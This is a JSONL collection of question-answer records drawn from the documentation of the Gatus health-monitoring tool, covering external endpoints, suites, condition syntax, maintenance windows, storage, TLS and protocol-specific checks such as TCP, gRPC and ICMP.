[examples/docker-compose-postgres-storage/config/config.yaml](.examples/docker-compose-postgres-storage/config/config.yaml) for examples.\n\nIf you want to test it locally, see [Docker](#docker).", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658839"}
{"id": "gh_c7864ac1e0a8", "question": "How to: External Endpoints", "question_body": "About TwiN/gatus", "answer": "Unlike regular endpoints, external endpoints are not monitored by Gatus, but they are instead pushed programmatically.\nThis allows you to monitor anything you want, even when what you want to check lives in an environment that would not normally be accessible by Gatus.\n\nFor instance:\n- You can create your own agent that lives in a private network and pushes the status of your services to a publicly-exposed Gatus instance\n- You can monitor services that are not supported by Gatus\n- You can implement your own monitoring system while using Gatus as the dashboard\n\n| Parameter                                 | Description                                                                                                                       | Default        |\n|:------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------|:---------------|\n| `external-endpoints`                      | List of endpoints to monitor.                                                                                                     | `[]`           |\n| `external-endpoints[].enabled`            | Whether to monitor the endpoint.                                                                                                  | `true`         |\n| `external-endpoints[].name`               | Name of the endpoint. Can be anything.                                                                                            | Required `\"\"`  |\n| `external-endpoints[].group`              | Group name. Used to group multiple endpoints together on the dashboard.\nSee [Endpoint groups](#endpoint-groups).            | `\"\"`           |\n| `external-endpoints[].token`              | Bearer token required to push status to.                                                                                          | Required `\"\"`  |\n| `external-endpoints[].alerts`             | List of all alerts for a given endpoint.\nSee [Alerting](#alerting).                                                         | `[]`           |\n| `external-endpoints[].heartbeat`          | Heartbeat configuration for monitoring when the external endpoint stops sending updates.                                          | `{}`           |\n| `external-endpoints[].heartbeat.interval` | Expected interval between updates. If no update is received within this interval, alerts will be triggered. Must be at least 10s. | `0` (disabled) |\n\nExample:\n```yaml\nexternal-endpoints:\n  - name: ext-ep-test\n    group: core\n    token: \"potato\"\n    heartbeat:\n      interval: 30m  # Automatically create a failure if no update is received within 30 minutes\n    alerts:\n      - type: discord\n        description: \"healthcheck failed\"\n        send-on-resolved: true\n```\n\nTo push the status of an external endpoint, you can use [gatus-cli](https://github.com/TwiN/gatus-cli):\n```\ngatus-cli external-endpoint push --url https://status.example.org --key \"core_ext-ep-test\" --token \"potato\" --success\n```\n\nor send an HTTP request:\n```\nPOST /api/v1/endpoints/{key}/external?success={success}&error={error}&duration={duration}\n```\nWhere:\n- `{key}` has the pattern `\n_\n` in which both variables have ` `, `/`, `_`, `,`, `.`, `#`, `+` and `&` replaced by `-`.\n  - Using the example configuration above, the key would be `core_ext-ep-test`.\n- `{success}` is a boolean (`true` or `false`) value indicating whether the health check was successful or not.\n- `{error}` (optional): a string describing the reason for a failed health check. If {success} is false, this should contain the error message; if the check is successful, this will be ignored.\n- `{duration}` (optional): the time that the request took as a duration string (e.g. 10s).\n\nYou must also pass the token as a `Bearer` token in the `Authorization` header.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658871"}
{"id": "gh_221a22b124ad", "question": "How to: Suites (ALPHA)", "question_body": "About TwiN/gatus", "answer": "Suites are collections of endpoints that are executed sequentially with a shared context.\nThis allows you to create complex monitoring scenarios where the result from one endpoint can be used in subsequent endpoints, enabling workflow-style monitoring.\n\nHere are a few cases in which suites could be useful:\n- Testing multi-step authentication flows (login -> access protected resource -> logout)\n- API workflows where you need to chain requests (create resource -> update -> verify -> delete)\n- Monitoring business processes that span multiple services\n- Validating data consistency across multiple endpoints\n\n| Parameter                         | Description                                                                                         | Default       |\n|:----------------------------------|:----------------------------------------------------------------------------------------------------|:--------------|\n| `suites`                          | List of suites to monitor.                                                                          | `[]`          |\n| `suites[].enabled`                | Whether to monitor the suite.                                                                       | `true`        |\n| `suites[].name`                   | Name of the suite. Must be unique.                                                                  | Required `\"\"` |\n| `suites[].group`                  | Group name. Used to group multiple suites together on the dashboard.                                | `\"\"`          |\n| `suites[].interval`               | Duration to wait between suite executions.                                                          | `10m`         |\n| `suites[].timeout`                | Maximum duration for the entire suite execution.                                                    | `5m`          |\n| `suites[].context`                | Initial context values that can be referenced by endpoints.                                         | `{}`          |\n| `suites[].endpoints`              | List of endpoints to execute sequentially.                                                          | Required `[]` |\n| `suites[].endpoints[].store`      | Map of values to extract from the response and store in the suite context (stored even on failure). | `{}`          |\n| `suites[].endpoints[].always-run` | Whether to execute this endpoint even if previous endpoints in the suite failed.                    | `false`       |\n\n**Note**: Suite-level alerts are not supported yet. Configure alerts on individual endpoints within the suite instead.\n\n#### Using Context in Endpoints\nOnce values are stored in the context, they can be referenced in subsequent endpoints:\n- In the URL: `https://api.example.com/users/[CONTEXT].user_id`\n- In headers: `Authorization: Bearer [CONTEXT].auth_token`\n- In the body: `{\"user_id\": \"[CONTEXT].user_id\"}`\n- In conditions: `[BODY].server_ip == [CONTEXT].server_ip`\n\nNote that context/store keys are limited to A-Z, a-z, 0-9, underscores (`_`), and hyphens (`-`).\n\n#### Example Suite Configuration\n```yaml\nsuites:\n  - name: item-crud-workflow\n    group: api-tests\n    interval: 5m\n    context:\n      price: \"19.99\"  # Initial static value in context\n    endpoints:\n      # Step 1: Create an item and store the item ID\n      - name: create-item\n        url: https://api.example.com/items\n        method: POST\n        body: '{\"name\": \"Test Item\", \"price\": \"[CONTEXT].price\"}'\n        conditions:\n          - \"[STATUS] == 201\"\n          - \"len([BODY].id) > 0\"\n          - \"[BODY].price == [CONTEXT].price\"\n        store:\n          itemId: \"[BODY].id\"\n        alerts:\n          - type: slack\n            description: \"Failed to create item\"\n\n      # Step 2: Update the item using the stored item ID\n      - name: update-item\n        url: https://api.example.com/items/[CONTEXT].itemId\n        method: PUT\n        body: '{\"price\": \"24.99\"}'\n        conditions:\n          - \"[STATUS] == 200\"\n        alerts:\n          - type: slack\n            description: \"Failed to update item\"\n\n      # Step 3: Fetch the item and validate the price\n      - name: get-item\n        url: https://api.example.com/items/[CONTEXT].itemId\n        method: GET\n        conditions:\n          - \"[STATUS] == 200\"\n          - \"[BODY].price == 24.99\"\n        alerts:\n          - type: slack\n            description: \"Item price did not update correctly\"\n\n      # Step 4: Delete the item (always-run: true to ensure cleanup even if step 2 or 3 fails)\n      - name: delete-item\n        url: https://api.example.com/items/[CONTEXT].itemId\n        method: DELETE\n        always-run: true\n        conditions:\n          - \"[STATUS] == 204\"\n        alerts:\n          - type: slack\n            description: \"Failed to delete item\"\n```\n\nThe suite will be considered successful only if all required endpoints pass their conditions.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658889"}
{"id": "gh_06e610deeb56", "question": "How to: Conditions", "question_body": "About TwiN/gatus", "answer": "Here are some examples of conditions you can use:\n\n| Condition                        | Description                                         | Passing values             | Failing values   |\n|:---------------------------------|:----------------------------------------------------|:---------------------------|------------------|\n| `[STATUS] == 200`                | Status must be equal to 200                         | 200                        | 201, 404, ...    |\n| `[STATUS] < 300`                 | Status must lower than 300                          | 200, 201, 299              | 301, 302, ...    |\n| `[STATUS] <= 299`                | Status must be less than or equal to 299            | 200, 201, 299              | 301, 302, ...    |\n| `[STATUS] > 400`                 | Status must be greater than 400                     | 401, 402, 403, 404         | 400, 200, ...    |\n| `[STATUS] == any(200, 429)`      | Status must be either 200 or 429                    | 200, 429                   | 201, 400, ...    |\n| `[CONNECTED] == true`            | Connection to host must've been successful          | true                       | false            |\n| `[RESPONSE_TIME] < 500`          | Response time must be below 500ms                   | 100ms, 200ms, 300ms        | 500ms, 501ms     |\n| `[IP] == 127.0.0.1`              | Target IP must be 127.0.0.1                         | 127.0.0.1                  | 0.0.0.0          |\n| `[BODY] == 1`                    | The body must be equal to 1                         | 1                          | `{}`, `2`, ...   |\n| `[BODY].user.name == john`       | JSONPath value of `$.user.name` is equal to `john`  | `{\"user\":{\"name\":\"john\"}}` |                  |\n| `[BODY].data[0].id == 1`         | JSONPath value of `$.data[0].id` is equal to 1      | `{\"data\":[{\"id\":1}]}`      |                  |\n| `[BODY].age == [BODY].id`        | JSONPath value of `$.age` is equal JSONPath `$.id`  | `{\"age\":1,\"id\":1}`         |                  |\n| `len([BODY].data) < 5`           | Array at JSONPath `$.data` has less than 5 elements | `{\"data\":[{\"id\":1}]}`      |                  |\n| `len([BODY].name) == 8`          | String at JSONPath `$.name` has a length of 8       | `{\"name\":\"john.doe\"}`      | `{\"name\":\"bob\"}` |\n| `has([BODY].errors) == false`    | JSONPath `$.errors` does not exist                  | `{\"name\":\"john.doe\"}`      | `{\"errors\":[]}`  |\n| `has([BODY].users) == true`      | JSONPath `$.users` exists                           | `{\"users\":[]}`             | `{}`             |\n| `[BODY].name == pat(john*)`      | String at JSONPath `$.name` matches pattern `john*` | `{\"name\":\"john.doe\"}`      | `{\"name\":\"bob\"}` |\n| `[BODY].id == any(1, 2)`         | Value at JSONPath `$.id` is equal to `1` or `2`     | 1, 2                       | 3, 4, 5          |\n| `[CERTIFICATE_EXPIRATION] > 48h` | Certificate expiration is more than 48h away        | 49h, 50h, 123h             | 1h, 24h, ...     |\n| `[DOMAIN_EXPIRATION] > 720h`     | The domain must expire in more than 720h            | 4000h                      | 1h, 24h, ...     |\n\n#### Placeholders\n| Placeholder                | Description                                                                               | Example of resolved value                    |\n|:---------------------------|:------------------------------------------------------------------------------------------|:---------------------------------------------|\n| `[STATUS]`                 | Resolves into the HTTP status of the request                                              | `404`                                        |\n| `[RESPONSE_TIME]`          | Resolves into the response time the request took, in ms                                   | `10`                                         |\n| `[IP]`                     | Resolves into the IP of the target host                                                   | `192.168.0.232`                              |\n| `[BODY]`                   | Resolves into the response body. Supports JSONPath.                                       | `{\"name\":\"john.doe\"}`                        |\n| `[CONNECTED]`              | Resolves into whether a connection could be established                                   | `true`                                       |\n| `[CERTIFICATE_EXPIRATION]` | Resolves into the duration before certificate expiration (valid units are \"s\", \"m\", \"h\".) | `24h`, `48h`, 0 (if not protocol with certs) |\n| `[DOMAIN_EXPIRATION]`      | Resolves into the duration before the domain expires (valid units are \"s\", \"m\", \"h\".)     | `24h`, `48h`, `1234h56m78s`                  |\n| `[DNS_RCODE]`              | Resolves into the DNS status of the response                                              | `NOERROR`                                    |\n\n#### Functions\n| Function | Description", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658923"}
{"id": "gh_669c3d7ea620", "question": "How to: Announcements", "question_body": "About TwiN/gatus", "answer": "System-wide announcements allow you to display important messages at the top of the status page. These can be used to inform users about planned maintenance, ongoing issues, or general information. You can use markdown to format your announcements.\n\nThis is essentially what some status page calls \"incident communications\".\n\n| Parameter                   | Description                                                                                                              | Default  |\n|:----------------------------|:-------------------------------------------------------------------------------------------------------------------------|:---------|\n| `announcements`             | List of announcements to display                                                                                         | `[]`     |\n| `announcements[].timestamp` | UTC timestamp when the announcement was made (RFC3339 format)                                                            | Required |\n| `announcements[].type`      | Type of announcement. Valid values: `outage`, `warning`, `information`, `operational`, `none`                            | `\"none\"` |\n| `announcements[].message`   | The message to display to users                                                                                          | Required |\n| `announcements[].archived`  | Whether to archive the announcement. Archived announcements show at the bottom of the status page instead of at the top. | `false`  |\n\nTypes:\n- **outage**: Indicates service disruptions or critical issues (red theme)\n- **warning**: Indicates potential issues or important notices (yellow theme)\n- **information**: General information or updates (blue theme)\n- **operational**: Indicates resolved issues or normal operations (green theme)\n- **none**: Neutral announcements with no specific severity (gray theme, default if none are specified)\n\nExample Configuration:\n```yaml\nannouncements:\n  - timestamp: 2025-11-07T14:00:00Z\n    type: outage\n    message: \"Scheduled maintenance on database servers from 14:00 to 16:00 UTC\"\n  - timestamp: 2025-11-07T16:15:00Z\n    type: operational\n    message: \"Database maintenance completed successfully. All systems operational.\"\n  - timestamp: 2025-11-07T12:00:00Z\n    type: information\n    message: \"New monitoring dashboard features will be deployed next week\"\n  - timestamp: 2025-11-06T09:00:00Z\n    type: warning\n    message: \"Elevated API response times observed for US customers\"\n    archived: true\n```\n\nIf at least one announcement is archived, a **Past Announcements** section will be rendered at the bottom of the status page:\n![Gatus past announcements section](.github/assets/past-announcements.jpg)", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658946"}
{"id": "gh_56656814c930", "question": "How to: Because the data is stored in memory, the data will not survive a restart.", "question_body": "About TwiN/gatus", "answer": "storage:\n  type: memory\n  maximum-number-of-results: 200\n  maximum-number-of-events: 5\n```\n- If `storage.type` is `sqlite`, `storage.path` must not be blank:\n```yaml\nstorage:\n  type: sqlite\n  path: data.db\n```\nSee [examples/docker-compose-sqlite-storage](.examples/docker-compose-sqlite-storage) for an example.\n\n- If `storage.type` is `postgres`, `storage.path` must be the connection URL:\n```yaml\nstorage:\n  type: postgres\n  path: \"postgres://user:password@127.0.0.1:5432/gatus?sslmode=disable\"\n```\nSee [examples/docker-compose-postgres-storage](.examples/docker-compose-postgres-storage) for an example.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.658956"}
{"id": "gh_89f1042b67a6", "question": "How to: Maintenance", "question_body": "About TwiN/gatus", "answer": "If you have maintenance windows, you may not want to be annoyed by alerts.\nTo do that, you'll have to use the maintenance configuration:\n\n| Parameter              | Description                                                                                                                                                                                | Default       |\n|:-----------------------|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------|\n| `maintenance.enabled`  | Whether the maintenance period is enabled                                                                                                                                                  | `true`        |\n| `maintenance.start`    | Time at which the maintenance window starts in `hh:mm` format (e.g. `23:00`)                                                                                                               | Required `\"\"` |\n| `maintenance.duration` | Duration of the maintenance window (e.g. `1h`, `30m`)                                                                                                                                      | Required `\"\"` |\n| `maintenance.timezone` | Timezone of the maintenance window format (e.g. `Europe/Amsterdam`).\nSee [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones) for more info | `UTC`         |\n| `maintenance.every`    | Days on which the maintenance period applies (e.g. `[Monday, Thursday]`).\nIf left empty, the maintenance window applies every day                                                     | `[]`          |\n\nHere's an example:\n```yaml\nmaintenance:\n  start: 23:00\n  duration: 1h\n  timezone: \"Europe/Amsterdam\"\n  every: [Monday, Thursday]\n```\nNote that you can also specify each day on separate lines:\n```yaml\nmaintenance:\n  start: 23:00\n  duration: 1h\n  timezone: \"Europe/Amsterdam\"\n  every:\n    - Monday\n    - Thursday\n```\nYou can also specify maintenance windows on a per-endpoint basis:\n```yaml\nendpoints:\n  - name: endpoint-1\n    url: \"https://example.org\"\n    maintenance-windows:\n      - start: \"07:30\"\n        duration: 40m\n        timezone: \"Europe/Berlin\"\n      - start: \"14:30\"\n        duration: 1h\n        timezone: \"Europe/Berlin\"\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659246"}
{"id": "gh_87054efe30a1", "question": "How to: TLS Encryption", "question_body": "About TwiN/gatus", "answer": "Gatus supports basic encryption with TLS. To enable this, certificate files in PEM format have to be provided.\n\nThe example below shows an example configuration which makes gatus respond on port 4443 to HTTPS requests:\n```yaml\nweb:\n  port: 4443\n  tls:\n    certificate-file: \"certificate.crt\"\n    private-key-file: \"private.key\"\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659258"}
{"id": "gh_933910efe2a5", "question": "How to: Connectivity", "question_body": "About TwiN/gatus", "answer": "| Parameter                       | Description                                | Default       |\n|:--------------------------------|:-------------------------------------------|:--------------|\n| `connectivity`                  | Connectivity configuration                 | `{}`          |\n| `connectivity.checker`          | Connectivity checker configuration         | Required `{}` |\n| `connectivity.checker.target`   | Host to use for validating connectivity    | Required `\"\"` |\n| `connectivity.checker.interval` | Interval at which to validate connectivity | `1m`          |\n\nWhile Gatus is used to monitor other services, it is possible for Gatus itself to lose connectivity to the internet.\nIn order to prevent Gatus from reporting endpoints as unhealthy when Gatus itself is unhealthy, you may configure\nGatus to periodically check for internet connectivity.\n\nAll endpoint executions are skipped while the connectivity checker deems connectivity to be down.\n\n```yaml\nconnectivity:\n  checker:\n    target: 1.1.1.1:53\n    interval: 60s\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659268"}
{"id": "gh_9f7ffbe37c08", "question": "How to: Remote instances (EXPERIMENTAL)", "question_body": "About TwiN/gatus", "answer": "This feature allows you to retrieve endpoint statuses from a remote Gatus instance.\n\nThere are two main use cases for this:\n- You have multiple Gatus instances running on different machines, and you wish to visually expose the statuses through a single dashboard\n- You have one or more Gatus instances that are not publicly accessible (e.g. behind a firewall), and you wish to retrieve\n\nThis is an experimental feature. It may be removed or updated in a breaking manner at any time. Furthermore,\nthere are known issues with this feature. If you'd like to provide some feedback, please write a comment in [#64](https://github.com/TwiN/gatus/issues/64).\nUse at your own risk.\n\n| Parameter                          | Description                                  | Default       |\n|:-----------------------------------|:---------------------------------------------|:--------------|\n| `remote`                           | Remote configuration                         | `{}`          |\n| `remote.instances`                 | List of remote instances                     | Required `[]` |\n| `remote.instances.endpoint-prefix` | String to prefix all endpoint names with     | `\"\"`          |\n| `remote.instances.url`             | URL from which to retrieve endpoint statuses | Required `\"\"` |\n\n```yaml\nremote:\n  instances:\n    - endpoint-prefix: \"status.example.org-\"\n      url: \"https://status.example.org/api/v1/endpoints/statuses\"\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659275"}
{"id": "gh_a0649a794be4", "question": "How to: Deployment", "question_body": "About TwiN/gatus", "answer": "Many examples can be found in the [.examples](.examples) folder, but this section will focus on the most popular ways of deploying Gatus.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 9647, "answer_score": 10, "has_code": false, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659280"}
{"id": "gh_62465e0b68dc", "question": "How to: Helm Chart", "question_body": "About TwiN/gatus", "answer": "[Helm](https://helm.sh) must be installed to use the chart.\nPlease refer to Helm's [documentation](https://helm.sh/docs/) to get started.\n\nOnce Helm is set up properly, add the repository as follows:\n\n```console\nhelm repo add twin https://twin.github.io/helm-charts\nhelm repo update\nhelm install gatus twin/gatus\n```\n\nTo get more details, please check [chart's configuration](https://github.com/TwiN/helm-charts/blob/master/charts/gatus/README.md).", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659286"}
{"id": "gh_bfa5ba2be36a", "question": "How to: Sending a GraphQL request", "question_body": "About TwiN/gatus", "answer": "By setting `endpoints[].graphql` to true, the body will automatically be wrapped by the standard GraphQL `query` parameter.\n\nFor instance, the following configuration:\n```yaml\nendpoints:\n  - name: filter-users-by-gender\n    url: http://localhost:8080/playground\n    method: POST\n    graphql: true\n    body: |\n      {\n        users(gender: \"female\") {\n          id\n          name\n          gender\n          avatar\n        }\n      }\n    conditions:\n      - \"[STATUS] == 200\"\n      - \"[BODY].data.users[0].gender == female\"\n```\n\nwill send a `POST` request to `http://localhost:8080/playground` with the following body:\n```json\n{\"query\":\"      {\\n        users(gender: \\\"female\\\") {\\n          id\\n          name\\n          gender\\n          avatar\\n        }\\n      }\"}\n```", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659294"}
{"id": "gh_ef40f576eb0f", "question": "How to: Recommended interval", "question_body": "About TwiN/gatus", "answer": "To ensure that Gatus provides reliable and accurate results (i.e. response time), Gatus limits the number of\nendpoints/suites that can be evaluated at the same time.\nIn other words, even if you have multiple endpoints with the same interval, they are not guaranteed to run at the same time.\n\nThe number of concurrent evaluations is determined by the `concurrency` configuration parameter, which defaults to `3`.\n\nYou can test this yourself by running Gatus with several endpoints configured with a very short, unrealistic interval,\nsuch as 1ms. You'll notice that the response time does not fluctuate - that is because while endpoints are evaluated on\ndifferent goroutines, there's a semaphore that controls how many endpoints/suites from running at the same time.\n\nUnfortunately, there is a drawback. If you have a lot of endpoints, including some that are very slow or prone to timing out\n(the default timeout is 10s), those slow evaluations may prevent other endpoints/suites from being evaluated.\n\nThe interval does not include the duration of the request itself, which means that if an endpoint has an interval of 30s\nand the request takes 2s to complete, the timestamp between two evaluations will be 32s, not 30s.\n\nWhile this does not prevent Gatus' from performing health checks on all other endpoints, it may cause Gatus to be unable\nto respect the configured interval, for instance, assuming `concurrency` is set to `1`:\n- Endpoint A has an interval of 5s, and times out after 10s to complete\n- Endpoint B has an interval of 5s, and takes 1ms to complete\n- Endpoint B will be unable to run every 5s, because endpoint A's health evaluation takes longer than its interval\n\nTo sum it up, while Gatus can handle any interval you throw at it, you're better off having slow requests with\nhigher interval.\n\nAs a rule of thumb, I personally set the interval for more complex health checks to `5m` (5 minutes) and\nsimple health checks used for alerting (PagerDuty/Twilio) to `30s`.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": false, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659304"}
{"id": "gh_f41372193c72", "question": "How to: Default timeouts", "question_body": "About TwiN/gatus", "answer": "| Endpoint type | Timeout |\n|:--------------|:--------|\n| HTTP          | 10s     |\n| TCP           | 10s     |\n| ICMP          | 10s     |\n\nTo modify the timeout, see [Client configuration](#client-configuration).", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659309"}
{"id": "gh_e3c2e1e38acd", "question": "How to: Monitoring a TCP endpoint", "question_body": "About TwiN/gatus", "answer": "By prefixing `endpoints[].url` with `tcp://`, you can monitor TCP endpoints at a very basic level:\n```yaml\nendpoints:\n  - name: redis\n    url: \"tcp://127.0.0.1:6379\"\n    interval: 30s\n    conditions:\n      - \"[CONNECTED] == true\"\n```\nIf `endpoints[].body` is set then it is sent and the first 1024 bytes of the response will be in `[BODY]`.\n\nPlaceholder `[STATUS]` as well as the fields `endpoints[].headers`,\n`endpoints[].method` and `endpoints[].graphql` are not supported for TCP endpoints.\n\nThis works for applications such as databases (Postgres, MySQL, etc.) and caches (Redis, Memcached, etc.).\n\n> 📝 `[CONNECTED] == true` does not guarantee that the endpoint itself is healthy - it only guarantees that there's\n> something at the given address listening to the given port, and that a connection to that address was successfully\n> established.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659317"}
{"id": "gh_b68758b5135b", "question": "How to: Monitoring a UDP endpoint", "question_body": "About TwiN/gatus", "answer": "By prefixing `endpoints[].url` with `udp://`, you can monitor UDP endpoints at a very basic level:\n```yaml\nendpoints:\n  - name: example\n    url: \"udp://example.org:80\"\n    conditions:\n      - \"[CONNECTED] == true\"\n```\n\nIf `endpoints[].body` is set then it is sent and the first 1024 bytes of the response will be in `[BODY]`.\n\nPlaceholder `[STATUS]` as well as the fields `endpoints[].headers`,\n`endpoints[].method` and `endpoints[].graphql` are not supported for UDP endpoints.\n\nThis works for UDP based application.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659322"}
{"id": "gh_f0b244cd5b5c", "question": "How to: Monitoring a SCTP endpoint", "question_body": "About TwiN/gatus", "answer": "By prefixing `endpoints[].url` with `sctp://`, you can monitor Stream Control Transmission Protocol (SCTP) endpoints at a very basic level:\n```yaml\nendpoints:\n  - name: example\n    url: \"sctp://127.0.0.1:38412\"\n    conditions:\n      - \"[CONNECTED] == true\"\n```\n\nPlaceholders `[STATUS]` and `[BODY]` as well as the fields `endpoints[].body`, `endpoints[].headers`,\n`endpoints[].method` and `endpoints[].graphql` are not supported for SCTP endpoints.\n\nThis works for SCTP based application.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659327"}
{"id": "gh_2db1e216a8fc", "question": "How to: Monitoring a WebSocket endpoint", "question_body": "About TwiN/gatus", "answer": "By prefixing `endpoints[].url` with `ws://` or `wss://`, you can monitor WebSocket endpoints:\n```yaml\nendpoints:\n  - name: example\n    url: \"wss://echo.websocket.org/\"\n    body: \"status\"\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[BODY] == pat(*served by*)\"\n```\n\nThe `[BODY]` placeholder contains the output of the query, and `[CONNECTED]`\nshows whether the connection was successfully established. You can use Go template\nsyntax.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659333"}
{"id": "gh_67430113d851", "question": "How to: Monitoring an endpoint using gRPC", "question_body": "About TwiN/gatus", "answer": "You can monitor gRPC services by prefixing `endpoints[].url` with `grpc://` or `grpcs://`.\nGatus executes the standard `grpc.health.v1.Health/Check` RPC against the target.\n\n```yaml\nendpoints:\n  - name: my-grpc\n    url: grpc://localhost:50051\n    interval: 30s\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[BODY].status == SERVING\"  # BODY is read only when referenced\n    client:\n      timeout: 5s\n```\n\nFor TLS-enabled servers, use `grpcs://` and configure client TLS if necessary:\n\n```yaml\nendpoints:\n  - name: my-grpcs\n    url: grpcs://example.com:443\n    conditions:\n      - \"[CONNECTED] == true\"\n      - \"[BODY].status == SERVING\"\n    client:\n      timeout: 5s\n      insecure: false          # set true to skip cert verification (not recommended)\n      tls:\n        certificate-file: /path/to/cert.pem      # optional mTLS client cert\n        private-key-file: /path/to/key.pem       # optional mTLS client key\n```\n\nNotes:\n- The health check targets the default service (`service: \"\"`). Support for a custom service name can be added later if needed.\n- The response body is exposed as a minimal JSON object like `{\"status\":\"SERVING\"}` only when required by conditions or suite store mappings.\n- Timeouts, custom DNS resolvers and SSH tunnels are honored via the existing [`client` configuration](#client-configuration).", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659340"}
{"id": "gh_eb637ad18477", "question": "How to: Monitoring an endpoint using ICMP", "question_body": "About TwiN/gatus", "answer": "By prefixing `endpoints[].url` with `icmp://`, you can monitor endpoints at a very basic level using ICMP, or more\ncommonly known as \"ping\" or \"echo\":\n```yaml\nendpoints:\n  - name: ping-example\n    url: \"icmp://example.com\"\n    conditions:\n      - \"[CONNECTED] == true\"\n```\n\nOnly the placeholders `[CONNECTED]`, `[IP]` and `[RESPONSE_TIME]` are supported for endpoints of type ICMP.\nYou can specify a domain prefixed by `icmp://`, or an IP address prefixed by `icmp://`.\n\nIf you run Gatus on Linux, please read the Linux section on [https://github.com/prometheus-community/pro-bing#linux]\nif you encounter any problems.\n\nPrior to `v5.31.0`, some environment setups required adding `CAP_NET_RAW` capabilities to allow pings to work.\nAs of `v5.31.0`, this is no longer necessary, and ICMP checks will work with unprivileged pings unless running as root. See #1346 for details.", "tags": ["TwiN"], "source": "github_gists", "category": "TwiN", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 9647, "answer_score": 10, "has_code": true, "url": "https://github.com/TwiN/gatus", "collected_at": "2026-01-17T13:02:03.659345"}
